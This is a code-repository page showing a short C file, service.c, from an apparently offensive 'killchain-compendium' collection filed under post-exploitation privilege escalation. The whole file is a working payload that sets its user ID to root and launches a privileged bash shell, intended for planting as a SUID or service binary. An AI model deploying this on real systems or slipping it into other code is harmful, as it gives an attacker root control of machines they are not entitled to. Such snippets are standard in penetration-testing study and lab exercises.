killchain-compendium/Post Exploitation/Privilege Escalation/suid/service.c

5 lines
52 B
C
Raw Normal View History

2022-11-11 01:15:07 +01:00
int main() {
setuid(0);
system("/bin/bash -p");
}